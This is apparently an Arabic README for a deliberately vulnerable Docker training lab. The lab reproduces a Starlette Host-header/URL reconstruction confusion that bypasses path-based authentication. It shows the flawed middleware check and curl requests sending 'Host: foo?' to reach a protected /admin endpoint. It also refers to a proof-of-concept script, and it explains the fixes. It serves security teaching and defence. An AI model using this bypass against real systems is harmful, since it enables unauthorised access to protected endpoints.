
مختبر Starlette للالتباس بين ترويسة المضيف وعنوان URL (X41-2026-002) - CVE-2026-48710
مختبر تدريبي قائم بذاته داخل حاوية، يعيد إنتاج ثغرة تجاوز المصادقة في Starlette التي كشفت عنها X41 D-Sec.
>= 0.8.3, < 1.0.1 (المختبر يثبّت 0.37.2)1.0.1⚠️ للاستخدام في التدريب الأمني المصرح به فقط. هذا التطبيق مصمَّم ليكون ضعيفًا عن قصد. لا تنشره على أي شبكة يمكن الوصول إليها.
يوجّه Starlette الطلب إلى مسار باستخدام scope["path"] الخام من ASGI، لكنه يعيد بناء request.url عبر تنسيق سلسلة نصية لترويسة Host المقدمة من العميل في القالب "{scheme}://{host}{path}" — دون التحقق من ترويسة Host وفقًا لمعيار RFC 9112 §3.2. وبما أن المحارف الخاصة بعناوين URL (?, /, #) مسموح بمرورها مباشرة، يمكن للمهاجم جعل المسار المُعاد بناؤه مختلفًا عن المسار الموجَّه إليه. وعندها يمكن خداع أي فحص أمني مكتوب بالاعتماد على request.url.path بينما يظل الموجّه يصل إلى المعالج المحمي.
تسمح البرمجية الوسيطة (middleware) الضعيفة بالطلب فقط عندما يكون request.url.path هو / أو فارغًا:
if request.url.path in ("/", ""):
return await call_next(request) # allowed
return PlainTextResponse("Forbidden", status_code=403)
أرسِل Host: foo? مع طلب GET /admin:
| المكوّن | القيمة المستخدمة |
|---|---|
الموجّه (scope["path"]) |
يحوّل ? كل ما بعده إلى سلسلة استعلام (query string)، لذا يكون المسار المُحلَّل فارغًا. ترى المصادقة مسارًا فارغًا فتسمح له بالمرور؛ بينما يستمر الموجّه في تقديم /admin. تم تحقيق التجاوز.
يتطلب Docker و Docker Compose.
docker compose up --build
يبدأ تشغيل خدمتين:
| الخدمة | URL | السلوك |
|---|---|---|
vulnerable | http://localhost:8000 | قابلة للتجاوز |
fixed | http://localhost:8001 | مخففة (بطريقتين) |
# Blocked normally:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
أو شغّل سكربت إثبات المفهوم الموجّه:
./exploit/exploit.sh # attacks :8000 (succeeds)
./exploit/exploit.sh 8001 # attacks :8001 (fails — fixed)
يعيد معالج /admin الضعيف نصًا JSON يجعل الالتباس مرئيًا — لاحظ كيف يختلف scope_path عن reconstructed_path:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
انظر إلى fixed/fixed_app.py. يوجد إجراءان مستقلان للتخفيف:
request.scope["path"] — وهو نفس المسار الخام الذي يستخدمه الموجّه — بدلًا من request.url.path المُعاد بناؤه.TrustedHostMiddleware ترويسات Host غير المتوقعة أو غير الصالحة قبل تشغيل أي منطق تطبيقي، محاكيًا ما يفعله وكيل عكسي متوافق مع RFC (مثل nginx/Apache) في الطرف العلوي (upstream).الإصلاح الفعلي في العالم الحقيقي هو ببساطة الترقية إلى Starlette ≥ 1.0.1، الذي يتحقق من ترويسة Host أثناء إعادة بناء عنوان URL.
redirect_uri في OAuth، مفاتيح التخزين المؤقت، روابط إعادة تعيين كلمة المرور المبنية من Host.)/admin) أكثر هشاشة هنا من «اتخاذ القرار بناءً على نقطة النهاية الموجَّه إليها الطلب»؟ ماذا لو كانت التوجيهات غير حساسة لحالة الأحرف أو تتضمن عمليات إعادة توجيه للشرطة المائلة الزائدة (trailing-slash)؟0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # the deliberately vulnerable service
├── fixed/fixed_app.py # mitigated service for comparison
├── exploit/exploit.sh # guided proof-of-concept
├── requirements.txt # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → يوجّه إلى admin() |
request.url | http://foo?/admin |
request.url.path | "" → يجتاز فحص المصادقة ✅ |